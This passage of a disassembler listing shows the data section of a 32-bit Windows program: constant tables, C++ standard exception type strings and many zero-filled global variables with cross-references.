DATA XREF: sub_424502o dword_43CCA8 dd 7080h ; DATA XREF: sub_422669+76r ; sub_4247EC+5Ew ... dword_43CCAC dd 1 ; DATA XREF: sub_422669+98r ; sub_4247EC+8Bw ... dword_43CCB0 dd 0FFFFF1F0h ; DATA XREF: sub_422669:loc_42271Br ; sub_4247EC+94w ... off_43CCB4 dd offset dword_545350 ; DATA XREF: ___:off_43CD34o dd 0Fh dup(0) off_43CCF4 dd offset dword_544450 ; DATA XREF: ___:off_43CD38o dd 0Fh dup(0) off_43CD34 dd offset off_43CCB4 ; DATA XREF: sub_4247EC+BAr ; sub_4247EC+D9r ... off_43CD38 dd offset off_43CCF4 ; DATA XREF: sub_4247EC+F4r ; sub_4247EC+11Br ... align 10h dword_43CD40 dd 0FFFFFFFFh ; DATA XREF: sub_4247EC+1Dw ; sub_424A4A+1Er ... dword_43CD44 dd 0 ; DATA XREF: sub_424A4A:loc_424B7Er ; sub_424BF6+BFw dword_43CD48 dd 0 ; DATA XREF: sub_424A4A+192r ; sub_424BF6+E0w align 10h dword_43CD50 dd 0FFFFFFFFh ; DATA XREF: sub_4247EC+17w ; sub_424A4A+26r ... dword_43CD54 dd 0 ; DATA XREF: sub_424A4A+13Ar ; sub_424BF6+EAw ... dword_43CD58 dd 0 ; DATA XREF: sub_424A4A+1A1r ; sub_424BF6+23r ... dword_43CD5C dd 0FFFFFFFFh ; DATA XREF: sub_424BF6+84r dd 1Eh, 3Bh, 5Ah, 78h, 97h, 0B5h, 0D4h, 0F3h, 111h, 130h dd 14Eh dword_43CD8C dd 16Dh ; DATA XREF: sub_422669+2Ar ; sub_424BF6+2Er ... dword_43CD90 dd 0FFFFFFFFh ; DATA XREF: sub_424BF6:loc_424C82r dd 1Eh, 3Ah, 59h, 77h, 96h, 0B4h, 0D3h, 0F2h, 110h, 12Fh dd 14Dh, 16Ch, 0 dword_43CDC8 dd 2 dup(0) ; DATA XREF: sub_425DDA+7o dd 4002A000h, 2 dup(0) dd 4005C800h, 2 dup(0) dd 4008FA00h, 2 dup(0) dd 400C9C40h, 2 dup(0) ; --------------------------------------------------------------------------- push eax retn ; --------------------------------------------------------------------------- dw 400Fh dd 2 dup(0) dd 4012F424h, 0 dd 80000000h, 40169896h, 0 dd 20000000h, 4019BEBCh, 0 dd 0C9BF0400h, 40348E1Bh, 0A1000000h, 1BCECCEDh, 404ED3C2h dd 0B59EF020h, 0ADA82B70h, 40699DC5h, 25FD5DD0h, 4F8E1AE5h dd 4083EB19h, 95D79671h, 8D050E43h, 409EAF29h, 44A0BFF9h dd 8F1281EDh, 40B98281h, 0A6D53CBFh, 1F49FFCFh, 40D3C278h dd 8CE0C66Fh, 47C980E9h, 41A893BAh, 556B85BCh, 0F78D3927h dd 427CE070h, 0DE8EDDBCh, 0EBFB9DF9h, 4351AA7Eh, 0E376E6A1h dd 2F29F2CCh, 44268184h, 0AA171028h, 0E310AEF8h, 44FAC4C5h dd 0F3D4A7EBh, 4AE1EBF7h, 45CF957Ah, 91C7CC65h, 0A0AEA60Eh dd 46A3E319h, 0C17650Dh, 75868175h, 4D48C976h, 0A7E44258h dd 353B3993h, 53EDB2B8h, 5DE5A74Dh, 3B5DC53Dh, 5A929E8Bh dd 0F0A65DFFh, 54C020A1h, 61378CA5h, 5A8BFDD1h, 5D25D88Bh dd 67DBF989h, 0F3F895AAh, 0C8A2BF27h, 6E80DD5Dh, 979BC94Ch dd 52028A20h, 7525C460h, 0 dword_43CF28 dd 0CCCDCCCDh, 0CCCCCCCCh, 3FFBCCCCh, 0D70A3D71h, 0A3D70A3h ; DATA XREF: sub_425DDA+1Bo dd 3FF8A3D7h, 0DF3B645Ah, 6E978D4Fh, 3FF58312h, 652CD3C3h dd 1758E219h, 3FF1D1B7h, 84230FD0h, 0AC471B47h, 3FEEA7C5h dd 69B6A640h, 0BD05AF6Ch, 3FEB8637h, 42BC3D33h, 94D5E57Ah dd 3FE7D6BFh, 0CEFDFDC2h, 77118461h, 3FE4ABCCh, 0E15B4C2Fh dd 94BEC44Dh, 3FC9E695h, 3B53C492h, 14CD4475h, 3FAF9ABEh dd 94BA67DEh, 1EAD4539h, 3F94CFB1h, 0E2C62324h, 313BBABCh dd 3F7A8B61h, 0C1595561h, 7C53B17Eh, 3F5FBB12h, 8D2FEED7h dd 8592BE06h, 3F44FB15h, 0E9A53F24h, 0EA27A539h, 3F2AA87Fh dd 0E4A1AC7Dh, 467C64BCh, 3E55DDD0h, 0CC067B63h, 83775423h dd 3D8191FFh, 193AFA91h, 4325637Ah, 3CACC031h, 38D18921h dd 0B8974782h, 3BD7FD00h, 85888DCh, 0E3E8B11Bh, 3B03A686h dd 424584C6h, 7599B607h, 3A2EDB37h, 0D21C7133h, 0EE32DB23h dd 395A9049h, 0C0BE87A6h, 82A5DA57h, 32B5A2A6h, 11B268E2h dd 449F52A7h, 2C10B759h, 2DE44925h, 534F3436h, 256BCEAEh dd 0A404598Fh, 7DC2DEC0h, 1EC6E8FBh, 5A88E79Eh, 0BF3C9157h dd 18228350h, 62654B4Eh, 0AF8F83FDh, 117D9406h, 9FDE2DE4h dd 4C8D2CEh, 0AD8A6DDh off_43D084 dd offset off_427D68 ; DATA XREF: ___:00427F44o ; ___:00428030o dd 0 a_?avexception@ db '.?AVexception@@',0 off_43D09C dd offset off_427D68 ; DATA XREF: ___:off_427DF8o ; ___:00427E38o ... dd 0 a_?avlogic_erro db '.?AVlogic_error@std@@',0 align 4 off_43D0BC dd offset off_427D68 ; DATA XREF: ___:off_427E40o ; ___:00427E84o ... dd 0 a_?avout_of_ran db '.?AVout_of_range@std@@',0 align 4 off_43D0DC dd offset off_427D68 ; DATA XREF: ___:off_427E8Co ; ___:00427ED0o ... dd 0 a_?avlength_err db '.?AVlength_error@std@@',0 align 10h off_43D100 dd offset off_427D68 ; DATA XREF: ___:off_427ED8o ; ___:00427F14o align 8 a_?avtype_info@ db '.?AVtype_info@@',0 dd offset sub_42470C align 10h dword_43D120 dd 2 dup(0) ; DATA XREF: sub_40111D+C8o dword_43D128 dd 2 dup(0) ; DATA XREF: sub_40111D+62o ; ___:0040146Eo ... dword_43D130 dd 0 ; DATA XREF: ___:004015B0o ; sub_401ACD+B07o ... dd 5 dup(0) dword_43D148 dd 0 ; DATA XREF: sub_401ACD+B63r ; sub_4150B4+60r dd 2D9h dup(0) dword_43DCB0 dd 0 ; DATA XREF: sub_401ACD+5E62r ; sub_401ACD+5F3Fr ... dd 7Fh dup(0) dword_43DEB0 dd 0 ; DATA XREF: sub_40B0F6+41w ; sub_40B231+40w ... dword_43DEB4 dd 0 ; DATA XREF: sub_40B0F6+47w ; sub_40B231+46w ... dword_43DEB8 dd 0 ; DATA XREF: sub_40B0F6+52w ; sub_40B231+3Ar ... dword_43DEBC dd 0 ; DATA XREF: sub_40111D+Cr ; sub_4017ED+B9w ... dword_43DEC0 dd 0 ; DATA XREF: sub_40B231+75r ; sub_40B412+2Aw ... dword_43DEC4 dd 0 ; DATA XREF: ___:004015FFw ; ___:00401677w ... byte_43DEC8 db 0 ; DATA XREF: sub_4017ED+91o ; sub_401ACD+5DA7r ... align 4 dword_43DECC dd 1E21h dup(0) dword_445750 dd 2A3Fh dup(0) ; DATA XREF: ___:0043375Co db 0 byte_45004D db 3 dup(0) ; DATA XREF: ___:00437A48o dd 1CFCh dup(0) db 0 byte_457441 db 3 dup(0) ; DATA XREF: ___:off_4384B8o dword_457444 dd 17355h dup(0) db 0 db 0 align 4 dword_4B419C dd 42Ah dup(0) db 0 byte_4B5245 db 3 dup(0) ; DATA XREF: ___:off_438324o dword_4B5248 dd 569Ah dup(0) dword_4CACB0 dd 0 ; DATA XREF: sub_40111D+FDw ; sub_40B0F6+13o ... dword_4CACB4 dd 0 ; DATA XREF: ___:0040125Ew ; sub_401ACD:loc_4044D7r ... dword_4CACB8 dd 0 ; DATA XREF: ___:loc_4016FFo dword_4CACBC dd 20h dup(0) ; DATA XREF: ___:004016B6o ; ___:00401750o ... dword_4CAD3C dd 10h dup(0) ; DATA XREF: ___:004016CCo dword_4CAD7C dd 24h dup(0) ; DATA XREF: ___:004016E3o dword_4CAE0C dd 0 ; DATA XREF: ___:004016D7w ; ___:00401767w ... dword_4CAE10 dd 0 ; DATA XREF: ___:004016F6w align 10h byte_4CAE20 db 0 ; DATA XREF: sub_401955+28r ; sub_401955+30o align 4 dword_4CAE24 dd 0 ; DATA XREF: ___:00401704w ; ___:0040171Br ... dword_4CAE28 dd 0 ; DATA XREF: ___:004016BBw ; sub_401ACD+8BEr dword_4CAE2C dd 0 ; DATA XREF: sub_401ACD+7DBFo ; sub_40C9A4+13o ... dword_4CAE30 dd 0 ; DATA XREF: sub_409B12+4A7w ; sub_409B12+4EBr ... dword_4CAE34 dd 0 ; DATA XREF: sub_409B12+65w ; sub_4196BC+166r dword_4CAE38 dd 0 ; DATA XREF: sub_409B12+80Bw ; sub_409B12+880r ... dword_4CAE3C dd 0 ; DATA XREF: sub_409B12+9D8w ; sub_409B12+A43r ... dword_4CAE40 dd 0 ; DATA XREF: sub_409B12+98Aw ; sub_409B12+A13r ... dword_4CAE44 dd 0 ; DATA XREF: sub_409B12+48Dw ; sub_409B12+4DBr ... dword_4CAE48 dd 0 ; DATA XREF: sub_409B12+213w ; sub_409B12+234r dword_4CAE4C dd 0 ; DATA XREF: sub_409B12+9CBw ; sub_409B12+A3Br ... dword_4CAE50 dd 0 ; DATA XREF: sub_409B12+372w ; sub_409B12+3C7r ... dword_4CAE54 dd 0 ; DATA XREF: sub_409B12+40Fw ; sub_41AA42+11Er dword_4CAE58 dd 0 ; DATA XREF: sub_409B12+37Fw ; sub_409B12+3CFr ... dword_4CAE5C dd 0 ; DATA XREF: sub_409B12+3C0w ; sub_418C8E+ADr dword_4CAE60 dd 0 ; DATA XREF: sub_409B12+55Aw ; sub_40F0D5+115r ... dword_4CAE64 dd 0 ; DATA XREF: sub_409B12+72w ; sub_409B12+D2r ... dword_4CAE68 dd 0 ; DATA XREF: sub_409B12+97Dw ; sub_409B12+A06r ... dword_4CAE6C dd 0 ; DATA XREF: sub_409B12+3A6w ; sub_409B12+3E7r ... dword_4CAE70 dd 0 ; DATA XREF: sub_409B12+859w ; sub_409B12+8ACr ... dword_4CAE74 dd 0 ; DATA XREF: sub_409B12+2A5w ; sub_409B12+2F0r ... dword_4CAE78 dd 0 ; DATA XREF: sub_409B12+84Cw ; sub_409B12+8A4r ... dword_4CAE7C dd 0 ; DATA XREF: sub_409B12+B3w dword_4CAE80 dd 0 ; DATA XREF: sub_409B12+866w ; sub_409B12+8B4r ... dword_4CAE84 dd 0 ; DATA XREF: sub_409B12+54Dw ; sub_409B12+6D0r ... dword_4CAE88 dd 0 ; DATA XREF: sub_409B12+58w ; sub_409B12+CAr ... dword_4CAE8C dd 0 ; DATA XREF: sub_409B12+934w dword_4CAE90 dd 0 ; DATA XREF: sub_401ACD:loc_403F25r ; sub_409B12+A95w ... dword_4CAE94 dd 0 ; DATA XREF: sub_409B12+A6w ; sub_409B12+F2r dword_4CAE98 dd 0 ; DATA XREF: sub_409B12+480w ; sub_409B12+4D3r ... dword_4CAE9C dd 0 ; DATA XREF: sub_409B12+5F6w ; sub_40BFA3+20r dword_4CAEA0 dd 0 ; DATA XREF: sub_409B12+9BEw ; sub_409B12+A33r dword_4CAEA4 dd 0 ; DATA XREF: sub_409B12+5E9w ; sub_409B12+754r ... dword_4CAEA8 dd 0 ; DATA XREF: sub_409B12+A0Cw dword_4CAEAC dd 0 ; DATA XREF: sub_409B12+B50w dword_4CAEB0 dd 0 ; DATA XREF: sub_409B12+7FEw ; sub_409B12+86Dr ... dword_4CAEB4 dd 0 ; DATA XREF: sub_409B12+1B3w ; sub_40B2F1+3Do ... dword_4CAEB8 dd 0 ; DATA XREF: sub_409B12+997w ; sub_409B12+A1Br ... dword_4CAEBC dd 0 ; DATA XREF: sub_409B12+38Cw ; sub_409B12+3D7r ... dword_4CAEC0 dd 0 ; DATA XREF: sub_409B12+399w ; sub_409B12+3DFr ... dword_4CAEC4 dd 0 ; DATA XREF: sub_409B12+C85w ; sub_409B12+C8Cr ... dword_4CAEC8 dd 0 ; DATA XREF: sub_409B12+6ACw ; ___:0041088Fr dword_4CAECC dd 0 ; DATA XREF: sub_40111D+1Dr ; sub_40111D+23r ... dword_4CAED0 dd 0 ; DATA XREF: sub_409B12+4B4w ; sub_4153BC+207r dword_4CAED4 dd 0 ; DATA XREF: sub_409B12+9E5w ; sub_409B12+A4Br ... dword_4CAED8 dd 0 ; DATA XREF: sub_401000+51r ; sub_409B12+2B2w ... dword_4CAEDC dd 0 ; DATA XREF: sub_409B12+7Fw ; sub_409B12+DAr ... dword_4CAEE0 dd 0 ; DATA XREF: sub_401ACD+5911r ; sub_401ACD+79CEr ... dword_4CAEE4 dd 0 ; DATA XREF: ___:004012ADr ; sub_401ACD+5117r ... dword_4CAEE8 dd 0 ; DATA XREF: sub_409B12+825w ; sub_409B12+890r ... dword_4CAEEC dd 0 ; DATA XREF: sub_409B12+9A4w ; sub_409B12+A23r dword_4CAEF0 dd 0 ; DATA XREF: sub_409B12+C0Ew ; sub_409B12+C3Fr dword_4CAEF4 dd 0 ; DATA XREF: sub_409B12+2CCw ; sub_4184E1+47r dword_4CAEF8 dd 0 ; DATA XREF: sub_409B12+22Dw dword_4CAEFC dd 0 ; DATA XREF: sub_409B12+91Aw ; sub_409B12+92Er dword_4CAF00 dd 0 ; DATA XREF: sub_409B12+C28w dword_4CAF04 dd 0 ; DATA XREF: sub_409B12+2D9w ; sub_4184E1+4Fr dword_4CAF08 dd 0 ; DATA XREF: sub_409B12+574w ; sub_409B12+6E8r ... dword_4CAF0C dd 0 ; DATA XREF: sub_409B12+83Fw ; sub_409B12+873r dword_4CAF10 dd 0 ; DATA XREF: sub_409B12+220w ; sub_409B12+23Cr dword_4CAF14 dd 0 ; DATA XREF: sub_409B12+172w ; sub_409B12+1C2r ... dword_4CAF18 dd 0 ; DATA XREF: sub_401ACD+1E30r ; sub_401ACD+5AC7r ... dword_4CAF1C dd 0 ; DATA XREF: sub_4017ED+C4r ; sub_401ACD+51A1r ... dword_4CAF20 dd 0 ; DATA XREF: sub_409B12+567w ; sub_409B12+6DCr ... dword_4CAF24 dd 0 ; DATA XREF: sub_409B12+8DBw ; sub_409B12:loc_40A40Bw ... dword_4CAF28 dd 0 ; DATA XREF: sub_401000+26r ; sub_409B12+28Bw ... dword_4CAF2C dd 0 ; DATA XREF: sub_401ACD+7959r ; sub_409B12+69Fw ... dword_4CAF30 dd 0 ; DATA XREF: sub_409B12+32Dw ; sub_409B12+341r ... dword_4CAF34 dd 0 ; DATA XREF: sub_409B12+3B3w ; sub_409B12+3EFr ... dword_4CAF38 dd 0 ; DATA XREF: sub_409B12+C01w ; sub_409B12+C37r dword_4CAF3C dd 0 ; DATA XREF: sub_409B12+818w ; sub_409B12+888r ... dword_4CAF40 dd 0 ; DATA XREF: sub_409B12+206w ; sub_409B12+227r dword_4CAF44 dd 0 ; DATA XREF: sub_409B12+18Cw ; sub_409B12+1D2r ... dword_4CAF48 dd 0 ; DATA XREF: sub_409B12+832w ; sub_409B12+898r ... dword_4CAF4C dd 0 ; DATA XREF: sub_409B12+624w ; sub_409B12+774r dword_4CAF50 dd 0 ; DATA XREF: sub_401000+5Ar ; sub_409B12+2BFw ... dword_4CAF54 dd 0 ; DATA XREF: sub_409B12+66Bw ; sub_409B12+79Cr ... dword_4CAF58 dd 0 ; DATA XREF: sub_409B12+320w ; sub_409B12+334r ... dword_4CAF5C dd 0 ; DATA XREF: sub_409B12+644w ; sub_409B12+784r ... dword_4CAF60 dd 0 ; DATA XREF: sub_409B12+44Cw ; sub_409B12+4AEr ... dword_4CAF64 dd 0 ; DATA XREF: sub_409B12+199w ; sub_409B12+1DAr ... dword_4CAF68 dd 0 ; DATA XREF: sub_409B12+365w ; sub_409B12+3BAr ... dword_4CAF6C dd 0 ; DATA XREF: sub_409B12+AA2w dword_4CAF70 dd 0 ; DATA XREF: sub_409B12+5DCw ; sub_409B12+748r ... dword_4CAF74 dd 0 ; DATA XREF: sub_4017ED+3Er ; sub_401ACD+5153r ... dword_4CAF78 dd 0 ; DATA XREF: sub_409B12+4Bw ; sub_409B12+C2r ... dword_4CAF7C dd 0 ; DATA XREF: sub_409B12+473w ; sub_409B12+4CBr ... dword_4CAF80 dd 0 ; DATA XREF: sub_409B12+165w ; sub_409B12+1BAr ... dword_4CAF84 dd 0 ; DATA XREF: sub_409B12+9FFw ; sub_409B12+A5Br ... dword_4CAF88 dd 0 ; DATA XREF: sub_409B12+685w ; sub_409B12+7ACr ... dword_4CAF8C dd 0 ; DATA XREF: sub_401955+D1r ; sub_401ACD+51B6r ... dword_4CAF90 dd 0 ; DATA XREF: sub_409B12+C1Bw ; sub_409B12+C47r dword_4CAF94 dd 0 ; DATA XREF: sub_409B12+3Ew ; sub_409B12+BAr ... dword_4CAF98 dd 0 ; DATA XREF: sub_401000+45r ; sub_409B12+298w ... dword_4CAF9C dd 0 ; DATA XREF: sub_409B12+651w ; sub_409B12+78Cr ... dword_4CAFA0 dd 0 ; DATA XREF: sub_409B12+637w ; sub_409B12+77Cr ... dword_4CAFA4 dd 0 ; DATA XREF: sub_401ACD+73B9r ; sub_409B12+C92w dword_4CAFA8 dd 0 ; DATA XREF: sub_409B12+879w ; ___:004168D5r ... dword_4CAFAC dd 0 ; DATA XREF: sub_409B12+112w dword_4CAFB0 dd 0 ; DATA XREF: sub_409B12+BE7w ; sub_409B12+C22r dword_4CAFB4 dd 0 ; DATA XREF: sub_401ACD+2FE4r ; sub_401ACD+5F98r ... dword_4CAFB8 dd 0 ; DATA XREF: sub_409B12+459w ; sub_409B12+4BBr ... dword_4CAFBC dd 0 ; DATA XREF: sub_409B12+49Aw ; sub_409B12+4E3r ... dword_4CAFC0 dd 0 ; DATA XREF: sub_409B12+466w ; sub_409B12+4C3r ... dword_4CAFC4 dd 0 ; DATA XREF: sub_401955+89r ; sub_401ACD+51D3r ... dword_4CAFC8 dd 0 ; DATA XREF: sub_409B12+1A6w ; sub_409B12+1E2r ... dword_4CAFCC dd 0 ; DATA XREF: sub_409B12+9F2w ; sub_409B12+A53r ... dword_4CAFD0 dd 0 ; DATA XREF: sub_409B12+158w ; sub_409B12+1ADr ... dword_4CAFD4 dd 0 ; DATA XREF: sub_409B12+8Cw ; sub_409B12+E2r ... dword_4CAFD8 dd 0 ; DATA XREF: sub_409B12+610w ; sub_409B12+764r ... dword_4CAFDC dd 0 ; DATA XREF: sub_409B12+B43w ; sub_409B12+B5Fr dword_4CAFE0 dd 0 ; DATA XREF: sub_409B12+33Aw ; sub_419651+55r dword_4CAFE4 dd 0 ; DATA XREF: sub_409B12+27Ew ; sub_409B12+2D3r ... dword_4CAFE8 dd 0 ; DATA XREF: sub_409B12+BAAw dword_4CAFEC dd 0 ; DATA XREF: sub_409B12+AECw ; sub_40AB31+CEr dword_4CAFF0 dd 0 ; DATA XREF: sub_409B12+ADFw ; sub_409B12+AE6r ... dword_4CAFF4 dd 0 ; DATA XREF: sub_4017ED+A6r ; sub_401ACD+5132r ... dword_4CAFF8 dd 0 ; DATA XREF: sub_401ACD+5124r ; sub_401ACD+7980r ... dword_4CAFFC dd 0 ; DATA XREF: sub_409B12+BF4w ; sub_409B12+C2Fr dword_4CB000 dd 0 ; DATA XREF: sub_401ACD+1E56r ; sub_401ACD+5AEDr ... dword_4CB004 dd 0 ; DATA XREF: sub_409B12+9B1w ; sub_409B12+A2Br ... dword_4CB008 dd 0 ; DATA XREF: sub_409B12+65Ew ; sub_409B12+794r ... dword_4CB00C dd 0 ; DATA XREF: sub_40111D+12r ; sub_4017ED+D0r ... dword_4CB010 dd 0 ; DATA XREF: sub_409B12+59Bw ; sub_409B12+70Cr ... dword_4CB014 dd 0 ; DATA XREF: sub_409B12+B36w ; sub_409B12+B57r dword_4CB018 dd 0 ; DATA XREF: sub_409B12+540w ; sub_409B12+6C4r ... dword_4CB01C dd 0 ; DATA XREF: sub_409B12+B29w ; sub_409B12+B4Ar dword_4CB020 dd 0 ; DATA XREF: ___:00401273r ; sub_409B12+31w ... dword_4CB024 dd 0 ; DATA XREF: sub_409B12+17Fw ; sub_409B12+1CAr ... dd 0 dword_4CB02C dd 0 ; DATA XREF: sub_409B12+927w ; sub_409B12+93Br dword_4CB030 dd 0 ; DATA XREF: sub_409B12+99w ; sub_409B12+EAr ... dword_4CB034 dd 0 ; DATA XREF: sub_409B12:loc_409C10w ; sub_409B12+12Bw ... dword_4CB038 dd 0 ; DATA XREF: sub_409B12+126w ; sub_40A7CE+1Cr dword_4CB03C dd 0 ; DATA XREF: sub_409B12:loc_409D00w ; sub_409B12:loc_409D67w ... dword_4CB040 dd 0 ; DATA XREF: sub_409B12+250w ; sub_40A7CE+50r dword_4CB044 dd 0 ; DATA XREF: ___:0040156Ar ; sub_401ACD+4567r ... dword_4CB048 dd 0 ; DATA XREF: sub_409B12+41Ew ; sub_40A7CE+84r dword_4CB04C dd 0 ; DATA XREF: sub_409B12:loc_40A016w ; sub_40A7CE:loc_40A87Er dword_4CB050 dd 0 ; DATA XREF: sub_409B12+4FFw ; sub_40A7CE+B8r dword_4CB054 dd 0 ; DATA XREF: sub_409B12:loc_40A2E7w ; sub_40A7CE:loc_40A8B2r dword_4CB058 dd 0 ; DATA XREF: sub_409B12+7D0w ; sub_40A7CE+ECr dword_4CB05C dd 0 ; DATA XREF: sub_409B12:loc_40A3D2w ; sub_409B12+8EFw ... dword_4CB060 dd 0 ; DATA XREF: sub_409B12+8EAw ; sub_40A7CE+120r dword_4CB064 dd 0 ; DATA XREF: sub_401ACD:loc_406F17r ; sub_409B12:loc_40A466w ... dword_4CB068 dd 0 ; DATA XREF: sub_409B12+94Fw ; sub_40A7CE+154r dword_4CB06C dd 0 ; DATA XREF: sub_401ACD+456Fr ; sub_409B12:loc_40A582w ... dword_4CB070 dd 0 ; DATA XREF: sub_409B12+A6Bw ; sub_40A7CE+188r dword_4CB074 dd 0 ; DATA XREF: sub_409B12:loc_40A5CCw ; sub_40A7CE:loc_40A982r dword_4CB078 dd 0 ; DATA XREF: sub_409B12+AB5w ; sub_40A7CE+1BCr dword_4CB07C dd 0 ; DATA XREF: sub_409B12:loc_40A616w ; sub_40A7CE:loc_40A9B6r dword_4CB080 dd 0 ; DATA XREF: sub_409B12+AFFw ; sub_40A7CE+1F0r dword_4CB084 dd 0 ; DATA XREF: sub_409B12:loc_40A68Aw ; sub_40A7CE:loc_40A9EAr dword_4CB088 dd 0 ; DATA XREF: sub_409B12+B73w ; sub_40A7CE+224r dword_4CB08C dd 0 ; DATA XREF: sub_409B12:loc_40A6D4w ; sub_40A7CE:loc_40AA1Er dword_4CB090 dd 0 ; DATA XREF: sub_409B12+BBDw ; sub_40A7CE+258r dword_4CB094 dd 0 ; DATA XREF: sub_409B12:loc_40A772w ; sub_40A7CE:loc_40AA52r dword_4CB098 dd 0 ; DATA XREF: sub_409B12+C5Bw ; sub_40A7CE+28Cr dword_4CB09C dd 0 ; DATA XREF: sub_409B12:loc_40A7BCw ; sub_40A7CE:loc_40AA86r dword_4CB0A0 dd 0 ; DATA XREF: sub_409B12+CA5w ; sub_40A7CE+2C0r dword_4CB0A4 dd 7 dup(0) ; DATA XREF: sub_40AC0F+32o dword_4CB0C0 dd 0 ; DATA XREF: sub_40BA56+18r ; sub_40BFEB+92w ... dword_4CB0C4 dd 0 ; DATA XREF: sub_40C124+4Dr ; sub_40C124+2F1w ... dd 7FEh dup(0) dword_4CD0C0 dd 6 dup(0) ; DATA XREF: sub_40C124+D2o ; sub_40C124+13Bo ... dword_4CD0D8 dd 0 ; DATA XREF: sub_40BACD+2C4w ; sub_40BACD+348o dword_4CD0DC dd 0 ; DATA XREF: sub_40BACD+33Ew ; sub_40BACD+35Ar dword_4CD0E0 dd 0 ; DATA XREF: sub_40BACD+2CFw dword_4CD0E4 dd 0 ; DATA XREF: sub_40BACD+2B9w ; sub_40BACD:loc_40BDE2r dword_4CD0E8 dd 20h dup(0) ; DATA XREF: sub_40BACD+2E2o ; sub_40BACD+302o dword_4CD168 dd 0 ; DATA XREF: sub_40BACD+2D5w dword_4CD16C dd 0 ; DATA XREF: sub_40BACD+2EFw ; sub_40BACD+30Fw dword_4CD170 dd 0 ; DATA XREF: sub_40BACD:loc_40BE3Dr align 8 dword_4CD178 dd 0 ; DATA XREF: sub_40BACD+82w ; sub_40BACD+101o dword_4CD17C dd 41h dup(0) ; DATA XREF: sub_40BACD+41o dword_4CD280 dd 41h dup(0) ; DATA XREF: sub_40BACD+69o dword_4CD384 dd 0 ; DATA XREF: sub_40BACD+F7w ; sub_40BACD+113r dword_4CD388 dd 0 ; DATA XREF: sub_40BACD+52w dword_4CD38C dd 0 ; DATA XREF: sub_40BACD+4Dw ; sub_40BACD+D4r dword_4CD390 dd 20h dup(0) ; DATA XREF: sub_40BACD+9Ao ; sub_40BACD+BAo dword_4CD410 dd 0 ; DATA XREF: sub_40BACD+8Fw dword_4CD414 dd 0 ; DATA XREF: sub_40BACD+A7w ; sub_40BACD+C7w dword_4CD418 dd 0 ; DATA XREF: sub_40BACD:loc_40BBF6r align 10h dword_4CD420 dd 0 ; DATA XREF: sub_40BACD+1A5w ; sub_40BACD+225o dword_4CD424 dd 41h dup(0) ; DATA XREF: sub_40BACD+167o dword_4CD528 dd 41h dup(0) ; DATA XREF: sub_40BACD+18Co dword_4CD62C dd 0 ; DATA XREF: sub_40BACD+21Bw ; sub_40BACD+237r dword_4CD630 dd 0 ; DATA XREF: sub_40BACD+17Aw dword_4CD634 dd 0 ; DATA XREF: sub_40BACD+175w ; sub_40BACD+1F8r dword_4CD638 dd 20h dup(0) ; DATA XREF: sub_40BACD+1BEo ; sub_40BACD+1DEo dword_4CD6B8 dd 0 ; DATA XREF: sub_40BACD+1B1w dword_4CD6BC dd 0 ; DATA XREF: sub_40BACD+1CBw ; sub_40BACD+1EBw dword_4CD6C0 dd 0 ; DATA XREF: sub_40BACD:loc_40BD1Ar align 8 dword_4CD6C8 dd 0 ; DATA XREF: sub_40BACD+417w ; sub_40BACD+470o dword_4CD6CC dd 0A2h dup(0) ; DATA XREF: sub_40BACD+405o dword_4CD954 dd 41h dup(0) ; DATA XREF: sub_40BACD+3CFo dword_4CDA58 dd 0 ; DATA XREF: sub_40BACD+3FCw ; sub_40BACD+423r align 10h dword_4CDA60 dd 0 ; DATA XREF: sub_40BACD+466w ; sub_40BACD+482r dword_4CDA64 dd 0 ; DATA XREF: sub_40BACD+429w dword_4CDA68 dd 0 ; DATA XREF: sub_40BACD+436w dword_4CDA6C dd 0 ; DATA XREF: sub_40BACD+3F6w dd 0 dword_4CDA74 dd 0 ; DATA XREF: sub_40BACD:loc_40BF65r dd 0 dword_4CDA7C dd 0 ; DATA XREF: sub_40B719+Er ; sub_40B719+32r dword_4CDA80 dd 0 ; DATA XREF: sub_40B719+9r ; sub_40B719+26r dword_4CDA84 dd 82h dup(0) ; DATA XREF: sub_40C59B+8Do dword_4CDC8C dd 2 dup(0) ; DATA XREF: sub_40CF04+68o dword_4CDC94 dd 0 ; DATA XREF: sub_40D89F+8w ; ___:0040DC6Eo dd 0 dword_4CDC9C dd 2 dup(0) ; DATA XREF: ___:0040DBA4o dword_4CDCA4 dd 0 ; DATA XREF: ___:0040E4D7r dd 0 dd 0 dword_4CDCB0 dd 0 ; DATA XREF: ___:0040E4AAr dword_4CDCB4 dd 0 ; DATA XREF: ___:0040E48Cr ; ___:0040E4F5r dd 0 dword_4CDCBC dd 0 ; DATA XREF: sub_40BACD+2AEr ; ___:0040E6E8w dd 0 dword_4CDCC4 dd 0 ; DATA XREF: sub_40B785+1Cr dword_4CDCC8 dd 0 ; DATA XREF: ___:0040EFE8w ; ___:0040F00Fr ... dd 3 dup(0) dword_4CDCD8 dd 0 ; DATA XREF: ___:00410905r align 10h dword_4CDCE0 dd 0 ; DATA XREF: sub_412351+4w ; sub_412351+9o dd 109h dup(0) dword_4CE108 dd 188h dup(0) ; DATA XREF: sub_401ACD+2F6Eo ; sub_401ACD:loc_404AC4o dword_4CE728 dd 0 ; DATA XREF: sub_401ACD+1A23w ; sub_401ACD+2F66r ... dword_4CE72C dd 11Ch dup(0) dword_4CEB9C dd 1000h dup(0) ; DATA XREF: sub_4151AC+1Do ; sub_41524Co ... dword_4D2B9C dd 0 ; DATA XREF: sub_4151AC+13o ; sub_41524C+Eo ... dword_4D2BA0 dd 0 ; DATA XREF: sub_4155F7+Fr ; sub_4157F0+12r align 8 dword_4D2BA8 dd 0Eh dup(0) ; DATA XREF: sub_416922+Fo dword_4D2BE0 dd 80h dup(0) ; DATA XREF: sub_4175E9+41o dword_4D2DE0 dd 200h dup(0) ; DATA XREF: sub_416F1A+C7o ; sub_417275+DDo ... dword_4D35E0 dd 200h dup(0) ; DATA XREF: sub_416F1A+D6o ; sub_417275+F4o ... dword_4D3DE0 dd 0 ; DATA XREF: sub_416F1A+86w ; sub_4170EC+94r dword_4D3DE4 dd 0 ; DATA XREF: sub_416F1A+A7w ; sub_417552+55r ... dword_4D3DE8 dd 0 ; DATA XREF: sub_416F1A+A0w ; sub_4170EC+D6r ... dword_4D3DEC dd 0 ; DATA XREF: sub_416F1A+79w ; sub_4170EC+35r ... dword_4D3DF0 dd 80h dup(0) ; DATA XREF: sub_417552+5Eo dword_4D3FF0 dd 0 ; DATA XREF: sub_416F1A+93w ; sub_4170EC+A2r align 8 dword_4D3FF8 dd 0 ; DATA XREF: sub_416F1A+E7o ; sub_416F1A+103r ... dword_4D3FFC dd 0 ; DATA XREF: sub_417275+17Bw ; sub_41741C+107w dword_4D4000 dd 0 ; DATA 